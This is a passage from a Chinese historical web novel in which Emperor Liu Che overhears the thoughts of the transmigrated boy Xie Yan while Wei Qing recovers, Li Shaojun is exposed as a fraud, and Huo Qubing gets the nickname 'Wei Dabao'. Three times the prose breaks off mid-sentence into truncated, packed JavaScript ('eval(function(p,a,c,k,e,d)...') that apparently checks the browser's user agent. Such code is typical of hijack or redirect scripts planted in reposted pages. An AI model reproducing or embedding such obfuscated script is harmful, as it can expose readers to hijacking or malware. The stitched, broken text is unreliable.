谢晏:“今日阿青可以逃出生天,多亏了公孙和建章监等人。阿青,待会我去西市买几只鸡,买一只羊,再买几坛酒水,送到你宿舍?” 公孙敖不禁说:“我都没想到。还是小孩哥周到。” “待会再夸。”谢晏想想自己是汉族,卫青打断了匈奴的脊梁骨,令汉族挺直腰板,“阿青,上午失血过多,现在急需补血,我再买些红枣、枸杞子,当归,在你的伤口结痂时给你补回来。” 卫青拱手道谢。 谢晏很是豪迈地朝他肩上一巴掌:“又跟我见外了不是。” 公孙敖:“羊肉和鱼肉是发物吧?晌午吃了鸡,小孩,买只鸭,晚上吃烤鸭。” “不吃!”谢晏断然拒绝。 公孙敖噎了一下:“你,辛辛苦苦砌的火炉不用不就白砌了吗。” “我乐意!”烤炉旁太热,谢晏不想做。先前同杨得意说什么他长身体不过是俏皮话。要不是有了活下去的动力,他不介意把自己饿死。 公孙敖:“我可以给你洗衣服刷鞋。” “我穿着草鞋,短衣一日一换,在水里过一遍便可,用得着你洗。”谢晏转向卫青,问他要不要去门外林檎树下纳凉。 杨得意附和:“这院中草棚下很热。公孙,去找个木板,我们把卫青抬出去。” 公孙敖转身把门板卸掉,面对杨得意的震惊:“待会再装回去。” 谢晏拿个草垫跟出去。 公孙敖扶着卫青坐到草垫上再次缠上谢晏。 谢晏斜着眼睛看着他:“这么想吃?” 公孙敖慌忙点头。 谢晏扬起下巴:“叫爹!” 公孙敖愣了一下,抬腿朝他屁股上一脚。 谢晏早有防备,闪身躲开:“还吃吗?” “我吃你!”公孙敖伸出双手去抓他。 谢晏跑去院中。 公孙敖在门口停下,回来找卫青:“阿青,你说你多日不吃很是想念,小鬼嘴硬心软,一定不会这么无情。” 卫青很是为难地说:“小孩一顿三个饼一碗菜,不长身高也不长肉,我怀疑就是平日里太忙。等我的腿结痂,我可以帮他烧水拔鸭毛再说吧。” 谢晏平日里给整个狗舍的狗看病,还要准备多人的饭菜,着实不清闲。公孙敖:“好吧。我先回去,晚上再来。” 卫青点点头,随即愣住,因为他看到谢晏搬着方几出来:“不是要进城吗?” “天色尚早。”狗舍的晚饭简单,疙瘩汤或者米粥便可。谢晏只是去买菜,回来无需他收拾炖煮,酉时再去也来得及。 谢晏把方几放到卫青身边,他又跟个小耗子似的钻进院中。 卫青注意到杨得意拎着柳筐出来:“小孩忙什么呢?” “谁知道。我去摘些桃子。那些桃子很小,宫里瞧不上,正好便宜了我们。趁着天气好,摘了做成桃干可以慢慢吃。”杨得意嘴上这样讲,人却在卫青身边坐下。 两人天马行空地聊几句,便看到院中升起浓烟。杨得意不禁说:“这小子,闲不下来!” 卫青点头:“这个时候烧火做什么?” 杨得意嫌院里热,哪怕有草棚也不想靠近:“待会他出来就知道了。” 两炷香后,谢晏出来,拎着水壶,拿着三个水杯,放在方几上又回屋。 片刻,他再次回来,手里端着三个碟,一碟甜瓜瓜子,一碟饴糖,一碟果脯。放下后,他拍拍卫青的脑袋:“阿青,我去去就回啊。” 卫青抬手朝他身上一巴掌:“没大没小!” 谢晏跳开,得意洋洋:“没打到!”随即朝远处的同僚跑去,令同僚备车,他二人进城。 - 刘彻在建章卫宿舍没有找到卫青就来狗舍。 杨得意前脚去果园,刘彻后脚到跟前。注意到方几上的茶点,刘彻试图把食盒藏到身后。可惜晚了,已经被卫青看到。 卫青很是惶恐:“陛下——” “别动!”刘彻顾不上尴尬慌忙抬手。 卫青坐下后仍然不安:“微臣只是小伤,过几日就痊愈了,陛下不必担忧。” 刘彻注意到方几另一侧有个草垫,干干净净,他便坐下,食盒放在茶几旁,“那么多血,朕看得见。”捏个甜瓜瓜子,“韩嫣有没有说,绑你的人已被廷尉处决?” 卫青:“韩大人说了。陛下,大长公主只是一时冲动,微臣伤的也不重,他们,罪不至死。” 刘彻险些被瓜子仁呛着。 卫青说什么呢?刘彻抬眼看去,卫青羞愧?该不会认为他贱命一条,不值得那些人偿命?即便卫青毫发无损,凭那些奴仆敢在离宫行凶这一点,按律也当斩。 刘彻终于明白他姑母为何冲卫青出手,就这秉性谁见着都会忍不住捏一下。 “廷尉判罚一向公允,没有冤枉他们。”刘彻停顿片刻,犹豫再三,宽慰他,“犯错的是他们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫青接过去。 三炷香后卫青憋不住,小心翼翼起来。 刘彻没有照顾过谁,卫青起来了他才意识到卫青要静养,赶忙绕过来撑住他。 谢晏跳下车:“阿青,怎么了?” 卫青松了一口气:“陛下,您坐下歇息,阿晏可以陪微臣出恭。” 刘彻本能松手。 谢晏看一眼甘草水壶:“全喝了啊?” “没有。不知为何突然闹肚子。”实则已有一炷香。要不是实在憋不住,他无论如何也要等天子走后再解手。 谢晏用小身板撑着他,又扭头看一眼:“不该啊。那几样我和杨公公吃过,我俩为何没有闹肚子。” 卫青不由得看一眼皇帝,又觉得不至于,吓得收回视线。 可惜迟了,刘彻看得一清二楚,他很是震惊:“乳酪被下药了?来人——” 谢晏:“陛下,应该不至于。微臣先送阿青过去。” 刘彻想起他懂医理,跟过去问:“你知为何?” “阿青从未用过乳酪吧?”谢晏听杨得意说过,卫青以前在生父家中,被同父异母的兄弟当成奴隶,实在活不下去才来投奔在平阳侯府做事的母亲。卫家一众都是侯府奴仆,白米细面都不曾吃过,又何曾吃过乳酪:“肠胃不适,牛乳过敏。” 刘彻:“何为过敏?” “好比陛下吃到某些东西身上长痘,嘴唇肿起来。”谢晏停下,“陛下还要过去吗?” 刘彻想问什么,抬眼一看,茅房到了。刘彻瞪一眼谢晏,转身往远处走几步。 [阴晴不定汉武帝!] 刘彻往前走几步什么也听不见,他本能往后退几步。 [反复无常汉武帝!] 刘彻呼吸一滞,意识到自己刚才做了什么,为了确定这一点又往前几步,四周只剩蝉鸣蟋蟀声。刘彻往后退两步,谢晏跑到树下,搓搓手三两下爬上去掰一根树枝,送到茅房门口。 刘彻愣了片刻才意识到卫青需要树叶。 “你还怪体贴。”刘彻不禁说。 [阴阳怪气汉武帝!] 谢晏十分好奇自己什么时候开罪过他,“微臣生来卑贱,只能用树叶。” 究竟谁阴阳怪气?忽然,刘彻想起晌午干的事,故意气他:“谢晏,韩嫣送来的钱都分下去了?” 谢晏眼珠一转。 [他几个意思?据说汉武帝生性多疑,鼠肚鸡肠,锱铢必较,还是色中饿鬼,不可一日无妇。看来说少了!] 刘彻呼吸急促。 [我还是小心回禀吧。] 谢晏规规矩说道:“早已分下去。韩大人还叫阿青遇到事尽管寻他,再体贴不过。” 刘彻忍住砍了他的冲动,想起临行前鬼使神差地把李少君带来——李少君乃齐地方士,懂长生不老之术,年过九旬,见多识广,擅驱神捉鬼,一定可以叫这个老鬼现出原形! 5. 神棍 虽说刘彻很想从谢晏心里得到更多与他相关的事。可是谢晏是不知来自何处的孤魂野鬼这一点着实令他瘆得慌。不查明,刘彻总有点事情脱离掌控的不安。 刘彻回到林檎树下,杨得意送来一碟红彤彤个头极小的桃。刘彻没有心思用桃,令杨得意把李少君找来。 李少君在建章卫宿舍歇息。 杨得意驾车过去,来回一炷香。 李少君到时,卫青已经被谢晏扶出来。 果然,卫青的伤口又渗出血。谢晏打盆水洗洗手,为他换上太医留下的药,就给他包扎伤口。 刘彻令李少君为卫青诊治,只因他发现卫青很虚弱。 李少君凑近蹲下为卫青把脉。 片刻后,李少君起身:“卫公子失血过多,这几日多用些补血之物便可。” 刘彻转向内侍。内侍忙不迭道:“奴婢这就叫人送来。” 卫青惶恐,他何德何能值得陛下一而再再而三费心:“陛下,阿晏已经买了。”随即又说,“多谢太医。” 李少君:“公子可以叫我李先生。” 刘彻颔首:“他是李少君。你可知晓?” 卫青很是羞愧:“先生定是鼎鼎有名。只是微臣只懂得牧羊。” 刘彻朝谢晏看去,“现在知道也不迟。”心想着,他和老鬼之间最多三步,应该能听到他的心声啊。 谢晏小心翼翼包扎好伤处,便已热得汗如雨下。 谢晏不拘小节地抬起衣袖擦擦脸,给自己来一杯水,再给卫青一杯,陡然记起他在古代,在大汉,天大地大皇帝最大,因此倒第三杯时朝皇帝瞥去。 刘彻倒也不曾注意到谢晏的不安。刘彻在方几旁坐下,心里琢磨,难道老鬼以前不懂鬼神之术,同卫青一样不曾留意过李少君:“卫青,李少君不止懂得长生不老之术,还懂得驱神捉鬼,炼丹制药!” 谢晏朝李少君看去。 刘彻心底诧异,谢晏听到“捉鬼”竟然了无惧色。刘彻不禁疑惑,他猜错了?谢晏并非老鬼附身。为了查清此事,刘彻故意问卫青,“可知李少君几岁?” 卫青打量一番李少君,鹤发童颜:“四十?” 刘彻笑着微微摇头:“李少君如今年过九旬。” 噗! 蹲在两人之间的谢晏慌忙低头,口中的甘草汤喷了一地。 [大帝怎么连这种鬼话也信?] [李少君要有九十多,小爷我是秦始皇!] 刘彻神色骤变—— 此话何意?真正的鬼是李少君?! 卫青转动上半身:“阿晏,怎么了?” 谢晏:“喝太急呛着。” 卫青把方才擦手的湿巾递过去:“慢点喝。这壶水我没怎么喝,还有许多,我给你倒。” 刘彻朝卫青看去,脸上尽是对他的关心。刘彻感到不可思议,这种鬼话卫青也信?不行,回头要想个法子把二人分开。否则他儿子的舅舅被老东西卖了,还会欢天喜地地对老东西说“多谢”。 刘彻:“谢晏没想到李先生近百岁依然精神矍铄,健步如飞,被惊着了吧。” 谢晏瞥一眼李少君不见老年斑的双手,忍着笑点点头:“是的,是的。” [是个屁!] [活该汉武帝被骗。] [可惜我不会告诉你世上没有鬼神。因为小爷我死过一次也不曾见到。] 谢晏端起水杯抿两口,心里暗笑。 [术士所谓的丹方不过是丹砂加一些乱七八糟的药材。] [活着的是因为没练成,练成的都吃死了。] [众所周知,死人不会说话!] 刘彻气得豁然起身。 谢晏吓一跳,又险些呛着。 卫青担忧:“陛下,出什么事了?” 刘彻低头看去,卫青的神色很是不安。刘彻挤出一丝笑:“无事!朕,朕有点小事。”大步朝茅房走去。 卫青恍然大悟。 “阿青,陛下比你我年长,见多识广,无需我们操心。”谢晏朝李少君看去,“仙师,尝尝小人做的点心?” 李少君低头对上一双漆黑乌亮的眼眸,有种无所遁形的感觉。随即又觉得想多了,这小孩最多十岁,即便生而知之,又能知晓多少事。 李少君微微摇头:“在下不饿。小公子叫我先生便可。仙师实不敢当!” “李先生,方才听闻先生知晓长生不老之术,想必也懂得如何延年益寿。”谢晏拍拍卫青的肩,“兄长自幼凄苦,身子骨没有养好,我担心他年过半百便已行将就木,请先生赐我等一个延年益寿的方子。” 李少君迟疑道:“这,卫公子年少,仔细调养也能长命百岁。” 谢晏当真想讨个延年益寿的方子,只因他比较不幸,不像别的穿越者拥有无所不能的系统,唯有同前世的他一样废物的空间。此时废物空间里全是他前世懒得丢出去的废物和今生财物。 谢晏扬起笑脸,装出乖巧讨好的模样,“话虽如此,可是谁知道对不对啊。先生年过九旬,可见您的方子有用。” 杨得意已过而立之年,感觉身体大不如前,闻言不禁附和:“先生若有不便,我等可以请示陛下。” 刘彻捏着鼻子闭上眼睛在茅房冷静下来,出来后假模假样净手:“何事请示朕?” 谢晏:“微臣想为臣和卫青讨个强身健体延年益寿的方子。” 刘彻怀疑谢晏故意为之:“李少君,此事不难吧?” 李少君面露难色。 谢晏很是失望。 [果真是个大骗子!] 刘彻朝谢晏看去,意有所指地说:“谢晏不提此事,朕险些忘了,母后近日贪凉,身体不适。太皇太后精力不济。李少君,回头给太后和太皇太后开两个方子。” 李少君硬着头皮称“喏”。 谢晏不禁看去。 [神棍敢应?] [他不是要花钱找民间医者买吧?民间的方子定不如太医的药方。若是被太医拆穿,此乃欺君之罪啊。] 谢晏恍然大悟。 [缓兵之计!神棍要跑!] 谢晏朝皇帝瞄一眼,忍不住同情他。 [好想知道神棍从皇帝手里骗了多少钱。赏我多好啊。我定会把皇帝当成义父供起来,再也不偷偷诋毁他。] 刘彻心梗! 李少君去年秋出现,不足一年,到李少君手上的财物没有一千也值八百金。刘彻不心疼钱,心疼被当成蠢货的自己。刘彻顿时坐不住,“天色已晚,朕该回去了。” 卫青下意识起来。 刘彻皱眉:“坐好!” 卫青吓得不敢动。 刘彻拂袖而去。 谢晏奇怪:“陛下又怎么了?”朝杨得意看去,“杨公公,这次看清了,我什么也没做。” 杨得意指着地上的水:“鬼都不信你呛着。分明不信李少君年过九旬,就差没有明说陛下被骗。你当陛下傻?” 谢晏诧异:“你也看出来了?那你——” “千金难卖陛下乐意。李少君不可能一直骗下去。被陛下拆穿后陛下定会令廷尉严惩。”杨得意看得一清二楚,“结果都一样,我何必上赶着给陛下添堵?” 谢晏理亏:“这不是第一次碰到这种事,毫无防备吗。以后我一定不会失态。” 卫青后知后觉:“李少君骗陛下?他这不是欺君吗?” “撑死胆大的,饿死胆小的。历来如此!”谢晏拍拍他的肩,“你还小,无法理解,等你长大就懂了。” 卫青下意识点头,意识到什么,怒吼:“我比你大!” 难得见到老实人发火,谢晏挺稀奇,但不敢靠近。卫青脾气好不等于没脾气,前几日就一脚把他踹进河里。要不是他擅游术,定会脏水喝到饱。 谢晏:“我去做饭。狗官,想吃什么?” “我想吃你!”杨得意没好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卫子夫还有几个同母异父的弟弟,可惜比谢老鬼还要小上几岁,无法进宫当差。 又听闻卫子夫有个兄长,刘彻决定先见见这个。 翌日上午,刘彻在宣室召见卫长君。 卫长君瘦骨嶙峋,双眼凸的厉害,跟谢老鬼比起来他才像鬼。同卫青像异父异母的兄弟。这叫喜欢好看的人的刘彻对他很是失望。 转念一想,刘彻又可以理解。 去年春三月,刘彻在平阳侯府对侯府讴者卫子夫一见钟情,把其带入宫中,又令侯府骑郎卫青去建章当差。长袖善舞的平阳公主见状就放卫家出府。 卫家没有过多积蓄,平日里指望卫青和卫子夫的俸禄过活。可惜卫青俸禄极低。卫子夫入宫后见过天子几次,天子心里只有明日去哪儿玩,卫子夫没有机会得到封赏,有的是同低阶女官一样的月钱。 在这种情况下卫家又有几个小孩要养,卫长君自然难长二两肉。 若非今年刘彻令无用的宫女出宫,不属于宫女的卫子夫也想出宫帮衬家里,皇帝刘彻因此再次见到她,卫青也不会遭此大难。 言归正传。 刘彻打量一番卫长君,令他为骑郎是盼着他早死啊。刘彻令其为侍中,平日里无需进宫伺候,只管在家中照顾一家老小,别叫卫子夫担忧。 卫长君离开后,刘彻去处理政务。 刘彻登基之初便已亲政。 只要他不搞新政,同先帝在时一样,窦太后就不过问政务。然而刘彻踌躇满志,蛰伏一段时日就想试试,以至于这几年同他祖母矛盾不断。 刘彻翻看着陈腔滥调,越看越心烦,扔到一旁起身出去。到室外他停下,盖因忽然记起如今的事谢晏有可能经历过,想来很清楚卫子夫怀的是男是女。 贸然询问,谢晏定会装傻充愣。 刘彻决定过几日。 七日后,卫子夫因多日不曾看到弟弟忍不住怀疑皇帝所谓“擦破点皮”是糊弄她的说辞,借机旁敲侧击卫青现在何处。 卫青的伤口该结痂了,正好借此试试老鬼知道不知道卫子夫怀的是男是女。刘彻便令小黄门驾车去接卫青,再叫谢晏挑个温顺的小狗送来。 若不找个冠冕堂皇的理由,定会惊到谢晏,被其婉拒。 6. 卫大宝 [明眸善睐,雪肌乌发,面色红润,五官明艳——见鬼的卫子夫相貌清秀!] 谢晏来到此间四年,第一次对前世传言感到一言难尽。 卫青轻轻扯一下谢晏,他知道三姐好看,否则去年陛下不会在平阳公主推出十几个美人之后兴趣怏怏,还有心思注意到后出现的阿姐。可是也不能当着陛下的面直勾勾盯着阿姐啊。 谢晏惊醒,意识到失态,慌忙低头把白色小狗递过去。 刘彻给宫女使个眼色,宫女给王太后送去。 谢晏诧异。 [不是给卫夫人吗。] 当然不是! 刘彻很紧张卫子夫腹中胎儿,担心过她蹲下时挤压孩子,又岂会弄只小狗过来。 倘若小狗把卫子夫绊倒,莫说祖宗和太后,刘彻也无法原谅自己。 卫子夫注意到谢晏眼中只有惊艳,柔声笑道:“你便是阿晏吧?听陛下说,阿青受伤多亏了你为他止血包扎。” [声音真好听!] [长得好又温柔,仪态看起来也稳得很。] [不愧是大汉贤后!大将军他姐!冠军侯他姨!太子他妈!] 饶是刘彻已有心理准备也险些失态。 太子妈?刘彻身体紧绷,不动声色地看一眼卫子夫的腹部,大汉江山后继有人?! 等等,大将军他姐? 刘彻朝卫青看去,他的秉性执掌天下兵马?忽然想起前几日卫子夫说过,卫青在生父家中活不下去,不足九岁就敢不远千里来长安寻母。 小小年纪,没有被拐,竟然也不曾迷路。 这份聪慧和坚韧,倘若识文断字熟读兵法,倒是可为将。 若非听到老鬼的心声,他兴许要过段时日才能发现。 冠军侯的冠军莫非指的是勇冠三军?卫子夫只有一个外甥,霍姓小儿。前几日刘彻见过,卫母带着家人进宫探望卫子夫。 当日看到那孩子他觉得就是一个沉默寡言的小子。 现在想来,年仅三岁就可以一直板着小脸故作老成,哪是寻常小子啊。 刘彻庆幸叫谢老鬼来一趟。此刻他心情极好,调侃谢晏:“朕是不是忘记说,他是个兽医。” 卫子夫震惊。 刘彻乐出声来。 谢晏低头。 [笑屁!] [还笑?祝你日日遇神棍!] 笑声戛然而止,刘彻的好心情到此为止,瞬时晴转阴云密布。 只因五日前,朝阳初升,城门打开前一刻,李少君带着金银细软偷偷摸摸从府里出来,被在李府对面蹲守的禁卫看个正着。 禁卫一拥而上把其拿下,李少君当场吓尿。 刘彻倍感丢脸,近日谈“李”色变。 谢晏不知内情,闻言故作窘迫:“微臣也看过几本医术。” 卫子夫善解人意地说:“你这么小就看过医书啊。那你很聪慧。阿青,往后多向阿晏请教。” 刘彻慌了。 他的大将军跟谁学也不能向老鬼请教,否则被表里不一的谢晏带坑里,谢晏还能埋点土踩两脚。 碍于卫子夫身子笨重,刘彻不希望她分心,就把反驳的言辞咽回去,对卫子夫说:“朕说卫青只是受点皮外伤,你还不信。现在可是信了?” 卫子夫抿抿唇,笑着点头。 刘彻:“卫青,你和谢晏先回去。” 卫青和谢晏行礼后退下。 谢晏担心隔墙有耳,在宫中和车上都没敢信口开河。回到狗舍,林檎树下纳凉,谢晏问:“陛下召我们过去就是叫卫夫人看看你是否全须全尾啊?” 卫青点头:“阿晏,我要回家一趟,母亲该担心了。” 谢晏:“你的伤口极深,虽然结痂了,但里面还未痊愈,不可翻身上马。这里有一辆驴车,你驾车回去。” 卫青正有此意。 谢晏请同僚套车,他去屋里拎一筐今早摘的桃,又把这些日子剩的钱给卫青。 卫青摇摇头拒绝:“我还要在这里住几日啊。” 谢晏把钱收回:“要不要公孙和你一起?你带着九十金回去,路上会不会遇到劫匪?” “不会。我中途不下车,也不出城。”公孙敖家在城外,离卫青家不远。前两日他休沐回来便告诉卫青,卫家搬到城里。购置房屋的钱是他姐卫夫人给的。宅子坐北朝南,是一处三合院,正房和东西厢房各三间,足够全家一人一间。 当日谢晏也在,闻言谢晏想起城中还算安全,这几年他隔三差五去东西市买物什,从未遇到过劫匪。 谢晏等卫青拿着钱出来就把果篮给他:“回来我给你做烤鸭。” 卫青顿时想吃了烤鸭再回家。 谢晏见状提醒:“我们只有一只母鸭。” 那只母鸭每日一个蛋,用鏊子或煎或炒,最终都祭了卫青的五脏庙,卫青可舍不得杀功臣。 卫青:“回头我捎两只公鸭。” 明日入伏,谢晏也不想顶着烈日去东西市,闻言便点点头表示听他的。 在谢晏的搀扶下,卫青坐上驴车。 卫青走远,谢晏身边再无旁人,他三两下蹿到树上,找个粗壮的树杈躺下。看样子他像是出去一趟累了,实则在整理他的废物空间。 前世疫情开始那年开启空间。可惜跟他本人一样废物,放棵白菜进去还不如放冰箱保鲜。 平日里谢晏把空间当成杂物房。好比他的医术,前世他姐因为爱养生在网上买的,叫谢晏帮她取快递,谢晏拆开后叫她来取,他姐回一句,没时间研究,直接去养生馆。 谢晏打算把书扔了,因为需要垃圾分类,便随手扔进空间。没成想随他来到古代。 食谱也是谢晏前世丢进去的。不过食谱是他妈买的,非要亲自给家人做饭。食材浪费了一地,还险些把谢晏吃进医院。 食谱是用不着了,他妈见谢晏日日在家混吃等死,为了给他找点事叫他整理书房。谢晏嫌书重,不想往外搬,又因书房只有他一人不会被发现,懒省事扔空间。 话说回来,谢晏是个很能将就的人。毕竟连活下去的欲望都没了,又怎会在意衣食住行。是以先前在宫里三年谢晏从未动过食谱和医书。搬到建章摸索着做饭,也不曾想过用食谱,因为空间里的杂物过多,找起来麻烦,他懒得费神。 若非担心被牲畜传染得了不治之症,谢晏连医书也懒得看。 今日整理空间也非心血来潮。 谢晏自己不怕死,没有意识到生命脆弱。前些日子看到卫青腿上血流不止也不怕,因为他潜意识里认为卫青不会死。见到李少君之后,谢晏才想起来,卫青好像不是很长寿。 谢晏不希望卫青和霍去病走在他前面,李少君个神棍又没有延年益寿的方子,他只能自力更生。 空间杂物分类整理,谢晏又把医书和食谱单独放好,他便因为用脑过度昏睡过去。 杨得意从狗窝过来看到小孩累得打呼,放轻脚步去摘菜,又令啬夫和面。 只待开火,杨得意才把小孩喊醒。 今日无人进城,草棚下只有园中啬夫种的蔬菜和找附近农家买的鸡蛋。谢晏把素菜水煮凉拌,又挖一碗大酱,做鸡蛋酱,最后煮面。午饭便是凉拌菜和鸡蛋酱盖面。 杨得意吃了几十年大酱,第一次知道酱可以和鸡蛋一块做,味道还不赖。杨得意嗦一口裹满了鸡蛋和酱的面,感叹:“你的小脑袋怎么长的?” 谢晏:“我姓谢,只是这个姓就和你们不一样。” 杨得意第一次听到此话以为小孩瞧不起出身贫寒的他。待他留意到小孩一脸臭屁的德行就意识到自己想多了。 再次听到这番话,杨得意心底毫无波澜,佯装困惑:“你居然没有被族人打死。” “当然是因为我福大命大!”谢晏抬起下巴。 坐在他另一侧的小黄门抬手把他的小脑袋按下去。 谢晏见好就收,低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小孩看过来,好像没见过嗳。蹙眉思索着,小孩奶声奶气地问:“你怎知我是霍去病啊?” 谢晏脱口道:“我当然知道!”意识到要说漏嘴,朝卫青看去,“你舅说的。” 卫青一手拎着行李一手抱着外甥:“我不想叫他来的。今日我们进宫探望三姐,太医说我的腿还要养半个月,陛下就叫我把他带来,说你忙的时候他可以陪陪我。” 小孩担心被送回家,搂住卫青的脖子:“我给舅舅洗脚。” 卫青笑笑,对大外甥说:“这位就是给你桃子的阿晏。” “阿晏兄!”小孩故作老成地拱手。 谢晏再也无法把他当成封狼居胥的霍将军。 卫青顿时感到丢脸:“什么晏兄?他是我好友,你应当叫阿晏叔叔!” 小孩抿着嘴拒绝喊叔。 谢晏随手把驴栓果树上,帮卫青抱小孩:“各论各的。以后叫晏兄。”喊“去病”有点别扭,谢晏就问小孩有没有乳名。 小孩好奇地问:“什么是乳名啊?” 谢晏:“你看我姓谢,单名一个晏,乳名,小孩。你呢?” 小孩摇头:“舅舅,你给我起个乳名。” 卫青不理他,拎着行李往宿舍走去。 谢晏边跟上边说:“他不给你起我给你起一个?” 小孩好喜欢他,笑出小米牙:“晏兄,你人怪好嘞。” 那是!我可是从不惹是生非的富二代!谢晏笑说:“你以后叫大宝,卫大宝。” 卫青到门边停下回头:“他父亲姓霍。” “听公孙说过,他父亲不知道他的存在。大长公主姓刘,世人可以称其为窦太主。去病是你家生养的,多个卫大宝又何妨?”谢晏转向小孩,“我们就叫卫大宝,卫家大宝贝。你说,你是不是卫家大宝?” 小孩点头:“我是卫家宝!” 7. 烤鸭 好孩子! 给我面子! 谢晏心情倍好。 “我们去看看你舅舅买的什么。” 杨得意等人把东西抬到宿舍门外果树下,谢晏看到一筐甜瓜和一窝鸡鸭,“今晚晏兄给你做果木烤鸭!” 准备去狗舍遛狗的啬夫停下,看向谢晏:“做几只?” 谢晏本能想说一只,打眼一瞧,好家伙!老老小小十人!“有几只公鸭?” 鸡鸭分装在两个笼中,公母各四只。啬夫看向杨得意问:“四只公鸭全做了是不是有点多?” 一天天就想着怎么吃! 杨得意无奈反问:“你说呢?” “做两只?”说话的啬夫抬头看看天色,感觉离天黑还有两个时辰,“现在烧水杀鸭子来得及吗?” 杨得意:“来得及来不及都与你无关。都给我去狗舍!” 小黄门担心激怒他没得吃,听闻此话拎着鸡朝狗窝走去,狗窝后面的猪圈可以暂时用来养鸡。 卫青从室内出来,谢晏叫他回屋找个柳筐,待会去林子里捡果木。 三岁小孩拉住谢晏的手:“晏兄,大宝呢?” 小孩满眼期盼的样子令谢晏不忍拒绝。 “大宝当然也要去!” 杨得意拎着鸭笼正要进院,闻言脚步一顿:“等等,他不是阿青的外甥去病吗?大宝又是谁?” “大宝是我的乳名啊。晏兄方才给我起的!”小孩神色认真,但依然可以听出有些许得意。 杨得意隔空点点谢晏,你是一天不搞事就心痒痒! 谢晏假装没看见,牵着小孩往南走。 宿舍和狗窝南边有一片果林,有桃树,有杏树,有枣树,有梨树,也有柿子树、石榴树等等。 仲夏时节,硕果累累,有的红了,有的压弯枝头,有的青涩,但不妨碍一靠近就可以闻到阵阵果香。 霍去病目之所及全是果子,黑亮的眼睛跟不够使似的,看看这边瞅瞅那边,抬头望一望,又低头瞧一瞧:“晏兄,坏的!” 谢晏顺着他的小手看过去:“被鸟虫吃了。待会捡了喂鸡。”往左右扫一眼,颇为可惜,“唉,要不是这里有太多黄鼠狼,真适合养鸡养鸭。” 卫青:“此地是陛下的果林。地上全是鸡屎鸭屎,陛下进来就踩到,我们都会挨训。” “随口一说,不行啊?”谢晏问。 若是三个月前,卫青深信不疑。那个时候他同谢晏不熟,谢晏不爱言语,给他的感觉有着不符合年龄的稳重。 接触两次被骗两次,卫青意识到他可以一脸严肃地信口开河,也可以调笑般许下重诺,卫青就不敢再盲目信他。 饶是如此,仍然无法避免被骗。 幸而谢晏没有坏心眼。否则卫青不敢想象他会被转手卖掉多少次。 卫青别有深意地看着他:“是否随口一说,你知我知!” 谢晏拉着霍去病往里走。 卫青:“去哪儿?” “你猜?”谢晏要去偷皇帝的果子,怕卫青个胆小鬼阻拦,不敢说实话,“大宝,敢和我去吗?” 小孩不假思索地点点头往前跑,谢晏小跑跟上。 以前他外甥见过谢晏吗?卫青蹙眉,据他所知一炷香前俩人还不认识,怎么眨眼间如同相识多年的故交。 卫青捡了一筐果木,霍去病抱着个大桃子回来,谢晏手里还拿一个,最少有一斤重。卫青一看品相就知道是御果园的桃子。 摘都摘了,卫青也不想说什么。反正说了谢晏也不会听。即便听了也不会改。也不知道他哪来的勇气。 跟不怕死似的! 卫青问出先前他心底疑惑:“你俩一见如故啊?” 谢晏故作高深:“有人白首如新,有人倾盖如故。知否?” 卫青摇头。 谢晏:“前者是你我,后者是我和大宝。” 卫青猜到他嘴里吐不出好话:“欺负我不识字?” 谢晏点头:“对啊。日后我教你。” 小孩忍不住开口:“晏兄——” “何事?”谢晏立刻回答。 小孩仰头问:“可以不欺负舅舅吗?” 谢晏愣了一下,失笑道,“我和你舅舅玩呢。” 卫青感到无比欣慰:“你晏兄喜欢胡说八道。他说的事你可以听,但切莫当真!不然把你卖了你还要帮他数钱。” 小孩瞪大了眼睛,你竟然是这样的晏兄吗。 谢晏抱起他:“你舅才喜欢胡说八道。晏兄说给你做烤鸭就给你做烤鸭。今日叫你看看什么是言而有信一诺千金!” 到果园边上,谢晏把小孩放地上。 霍去病看起来不胖,可是他肉结实,谢晏累得双臂发酸,不希望被小孩看出他不行,轻微晃晃手臂朝院里跑去。 杨得意还在收拾鸭子。 谢晏便洗手和面。 考虑到人多,谢晏不打算做小圆饼,他要做前世暑假在奶奶家吃的水烙饼。一张烙饼可以卷半斤鸭肉半斤菜,省时省事! 谢晏和面期间卫青也没闲着,被谢晏要求准备葱姜蒜,桂皮、香叶、花椒等配料。幸好这些东西庖厨都有。 老实说,以前厨房只有米面和油盐。 谢晏掌勺后一一置办的。 曾经谢晏要求买蜂蜜和黄酒,还被杨得意絮叨许久,说谁家炙肉用蜂蜜,谁家做菜需要黄酒啊。又说改日少府查账定会认为他做假账。 少府每月初会给狗舍一笔钱,杨得意收着,作为狗舍一切花销,自然也包括谢晏等人平日里用的油盐酱醋。 当日谢晏说炙鸭需要黄酒和蜂蜜。 也就是上上个月的事。 那是谢晏第一次做烤鸭,也是到目前为止唯一一次。鸭子没有腌入味,烤糊了一半,依然很香,令公孙敖念念至今。 卫青准备了配料,杨得意也把鸭子收拾干净。待谢晏把面和好,就找个瓷盆淹鸭子。 杨得意看看面块不禁问够不够吃。 谢晏点头。 杨得意转向蹲在地上的小孩:“面里有麦麸,他会不会闹肚子?” 谢晏用的是全麦面,不是纯白面。听闻此话谢晏担心小不点不消化。卫青注意到谢晏额上全是汗水,“去病从不闹肚子。” 谢晏:“还是再和一瓢面吧。一半做饼一半做成面条。回头用鸭架炖汤煮面,也省得做汤。” 杨得意:“我去园子里摘些青菜用来煮面。” 小霍去病没听懂,一脸困惑:“晏兄,不吃烤鸭了吗?” 谢晏:“有烤鸭也有汤面。” “我喜欢烤鸭!”小孩歪着脑袋说。 卫青无语又想笑,说得好像他吃过似的。 “人小鬼大!”卫青把果木拎到烤炉前,往里放几根树枝。 谢晏眼角余光瞥到卫青的动作:“你烧火?” 卫青点点头。 这些日子在狗舍养伤,卫青每日除了吃便是睡,因为腿疼,他有心同谢晏认识草药都记不住。 